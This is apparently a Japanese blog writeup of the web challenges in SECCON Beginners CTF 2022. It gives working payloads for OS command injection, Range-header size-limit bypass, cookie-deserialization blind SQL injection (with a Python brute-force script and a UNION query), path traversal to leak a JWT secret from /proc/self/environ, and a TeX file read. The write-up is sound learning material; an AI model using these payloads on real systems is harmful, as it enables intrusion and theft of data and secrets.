よーでんのブログ

One for All,All for わんわんお!

SECCON Beginners CTF 2022

SECCON Beginners CTF 2022 Web writeup

チームメイトの力を借りながらではありますが、去年に引き続きWebを埋めることができて良かったです。
去年より格段に難しかったなと思います。(去年はmagicが自分の作問stackにあったというのもあるが・・・)

web

challenge logs

自分はWebでtextex以外のflagを通したので、それらのwriteupを書いていきます。

Util - 54pt (Rank 2/460)

ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?

(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。

アクセスするとpingしてくれそうなページ。

Util - top

BeginnerでpingならOS Command injectionだろうとということで127.0.0.1 | lsとか入れたくなるが、「Invalid IP address」と言われてしまう。
jsで入力チェックをしていた。

if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {

クライアント側でしかvalidationされていないので、よしなに改ざんする。

Util - ping|ls

OS Command injectionできている。
同様にls / を実行すると以下のような結果になる。

{"result":"app\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}

flagのファイル名が判明するので、cat /flag_A74FIBkN9sELAjOc.txtすればflagが手に入る。

{"result":"ctf4b{al1_0vers_4re_i1l}\n"}

ctf4b{al1_0vers_4re_i1l}

gallery - 83pt (Rank 62/156)

絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?

仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?

gallery - top

事後報告、LGTMのスタンプがgif, jpeg, pngで用意されていて、
https://[url]/?file_extension=gif でgifのファイルを絞り込むことができる。

それぞれのスタンプは/images/jigohoukoku.gif のようなパスで開ける。

絞り込みの仕組みとしては、file_extensionに指定した文字が含まれているかどうかでやっているっぽい。

   for _, file := range files {
        if !strings.Contains(file.Name(), fileExtension) {
            continue
        }
        res = append(res, file.Name())
    }

適当にfile_extension=fにしたらflagのファイル名が判明した。

gallery - f

ということで/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfにアクセスしたいが、middlewareによってファイルサイズに制限がかかっている。

func (w *MyResponseWriter) Write(data []byte) (int, error) {
    filledVal := []byte("?")

    length := len(data)
    if length > w.lengthLimit {
        w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
        return length, nil
    }

    w.ResponseWriter.Write(data[:length])
    return length, nil
}

func middleware() func(http.Handler) http.Handler {
    return func(h http.Handler) http.Handler {
        return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
            h.ServeHTTP(&MyResponseWriter{
                ResponseWriter: rw,
                lengthLimit:    10240, // SUPER SECURE THRESHOLD
            }, r)
        })
    }
}

/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfにアクセスすると16085個の?が返ってくる。
ファイルサイズの制限を避けてGETしたい。

ちょっとかんがえていたら、この間読んだ「HTTPの教科書」という本にRangeというヘッダーが書いてあったことを思い出した。 HTTPヘッダにRange: bytes=0-10000とつけてリクエストしたらpdfっぽいのが10001byte分返ってきた。

gallery - 0-10000

同様に10001-20000でGETしたらEOFがでてきた。
二つをburpからcopy as curl、結合してpdfにする。

$ curl -s -k -X $'GET'     -H $'Host: gallery.quals.beginners.seccon.jp' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: ja,en-US;q=0.7,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://gallery.quals.beginners.seccon.jp/?file_extension=pdf' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' -H $'Te: trailers' -H $'Connection: close' -H $'Content-Length: 0' -H $'Range: bytes=0-10000'     $'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > mae
$ curl -s -k -X $'GET'     -H $'Host: gallery.quals.beginners.seccon.jp' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: ja,en-US;q=0.7,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://gallery.quals.beginners.seccon.jp/?file_extension=pdf' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' -H $'Te: trailers' -H $'Connection: close' -H $'Range: bytes=10001-20000'     $'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > usiro
$ cat mae usiro > a.pdf

gallery - flag

ctf4b{r4nge_reque5t_1s_u53fu1!}

serial - 109pt (Rank 35/83)

フラッグは flags テーブルの中にあるよ。ゲットできるかな?

serial - top

アクセスするとログインフォーム。
問題文からしてSQLiだと思うが、とりあえずログインするとtodoリストだった。

serial - todo

database.phpとかいういかにもなファイルからSQLiできそうなところを探すと、findUserByNameだけSQLを文字列結合でやっていた。

<?php
  :
    public function findUserByName($user = null)
    {
        if (!isset($user->name)) {
            throw new Exception('invalid user name: ' . $user->user);
        }

        $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        while ($row = $result->fetch_assoc()) {
            $user = new User($row['id'], $row['name'], $row['password_hash']);
        }
        return $user;
    }

findUserByNameを呼び出してるところを探してみると、users.phpが使えそうだとわかる。

<?php
  :
function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

CookieからunserializeしてfindUserByNameを呼び出している。
unserializeもただやってるだけなので、Cookieを書き換えれば反映される。

適当にログインしたときのCookieが以下。

Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjI6IjE5IjtzOjQ6Im5hbWUiO3M6NToieW9kZW4iO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCQyek5YNU1relVtaS44T2FsWWp0a1RlZlEzTHA0a0RQMDlSaWFGR3FjbjhFamRLaHk1djdaQyI7fQ%3D%3D

URLデコードしてbase64デコードする。

O:4:"User":3:{s:2:"id";s:2:"19";s:4:"name";s:5:"yoden";s:13:"password_hash";s:60:"$2y$10$2zNX5MkzUmi.8OalYjtkTefQ3Lp4kDP09RiaFGqcn8EjdKhy5v7ZC";}

s:5:"yoden"; の部分を s:1:"'";に書き換えてbase64エンコード・URLエンコードしてアクセスするとエラーが返ってくる。

failed query for findUserByNameOld SELECT id, name, password_hash FROM users WHERE name = ''' LIMIT 1

あとはSQL injectionしていく。
自分はBlindだと思い込んでsleepさせたが、結構普通に解ける様だった。

import base64
import requests
import urllib.parse

from string import Template, ascii_lowercase, ascii_uppercase

abc = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"""
template = """O:4:"User":3:{s:2:"id";s:4:"3280";s:4:"name";s:80:"a' and 1=(select if(substring((select body from flags),$idx,1)='$flg',sleep(1),'a'));#";s:13:"password_hash";s:60:"$2y$10$s1v1vH34usRHYipKkUgrA./Lg3bnIycLhkLzquAjjWoV69RqA4mja";}"""
#                                                             ^ $idxが二桁になったら81にする
flag = "ctf4b{"

for i in abc:
    print("\r"+ i, end="")
    requests.get("https://[url]/", cookies={"__CRED":urllib.parse.quote(base64.b64encode(Template(template).safe_substitute(idx=len(flag)+1,flg=i).encode()))})

実行すればSで遅延する。しばーらく返ってこないので都度Ctrl+Cして実行しなおすのが速かった。
半自動でしばらく繰り返してflagゲット。

ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}

作問者writeupを読んだら、以下のようにやればCookieにセットされたらしい。たしかに。。。。。。。。。

' UNION SELECT 'hoge', body, '$2y$10$2zNX5MkzUmi.8OalYjtkTefQ3Lp4kDP09RiaFGqcn8EjdKhy5v7ZC' FROM flags --

Ironhand - 147pt (Rank 26/42)

Treadstone、Blackbriar、そして...?

アクセスするとログインフォーム。

Ironhand

適当なユーザ名でログインすると、「Sorry, I can't give you the FLAG. If you want the FLAG, please login as admin user.」と言われる。

ソースを読むと、jwtでroleを管理している様だ。
jwt内のIsAdminがtrueになるとflagが得れる。

       if claims.IsAdmin {
            res, _ := http.Get("http://secret")
            flag, _ := ioutil.ReadAll(res.Body)
            if err := res.Body.Close(); err != nil {
                return c.String(http.StatusInternalServerError, "Internal Server Error")
            }
            return c.Render(http.StatusOK, "admin", map[string]interface{}{
                "username": claims.Username,
                "flag":     string(flag),
            })
        }

jwtパッケージもちゃんとしたのを使っていて、alg: noneとかはできない。
secretは環境変数に入っている。

そのほかにもgoを読んでいると、/static/のルーティングを奇妙な方法で実装しているのに気づいた。

   e.GET("/static/:file", func(c echo.Context) error {
        path, _ := url.QueryUnescape(c.Param("file"))
        f, err := ioutil.ReadFile("static/" + path)
        if err != nil {
            return c.String(http.StatusNotFound, "No such file")
        }
        return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
    })

ioutil.ReadFile("static/" + path) の部分、ディレクトリトラバーサルができる。

Ironhand - dir trav

このまま環境変数見れるかと思ったが、/static/../../proc/self/environではBad Requestになる。

どうにかしてsecretの漏洩できないかなとしばらくソースを眺めていたら、nginxのdefault.confに怪しげな一行が。

merge_slashes off;

いかにも//を使って欲しそうな設定だ。
/static//../../proc/self/environ環境変数が取れた。

Ironhand - env

secretがU6hHFZEzYGwLEezWHMjf3QM83Vn2D13dであるとわかるので、あとはIsAdmin: trueのjwtを作ればflag。

ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}

おまけ textex

texを書いたことがなかったこともあってtextexがwebで一番最後まで残ってたのですが、ローカルで解けるこまでは自分がやってました。

\documentclass[]{article}
\begin{document}

\newread\file
\openin\file="fl""ag"
\read\file to \line
\line
\closein\file

\end{document} 

これを問題サーバに投げるとエラーになります。

どうしても中括弧がうまく処理できず、何時間もtexとにらめっこしていたらチームメイトが解いてくれたので助かりました・・・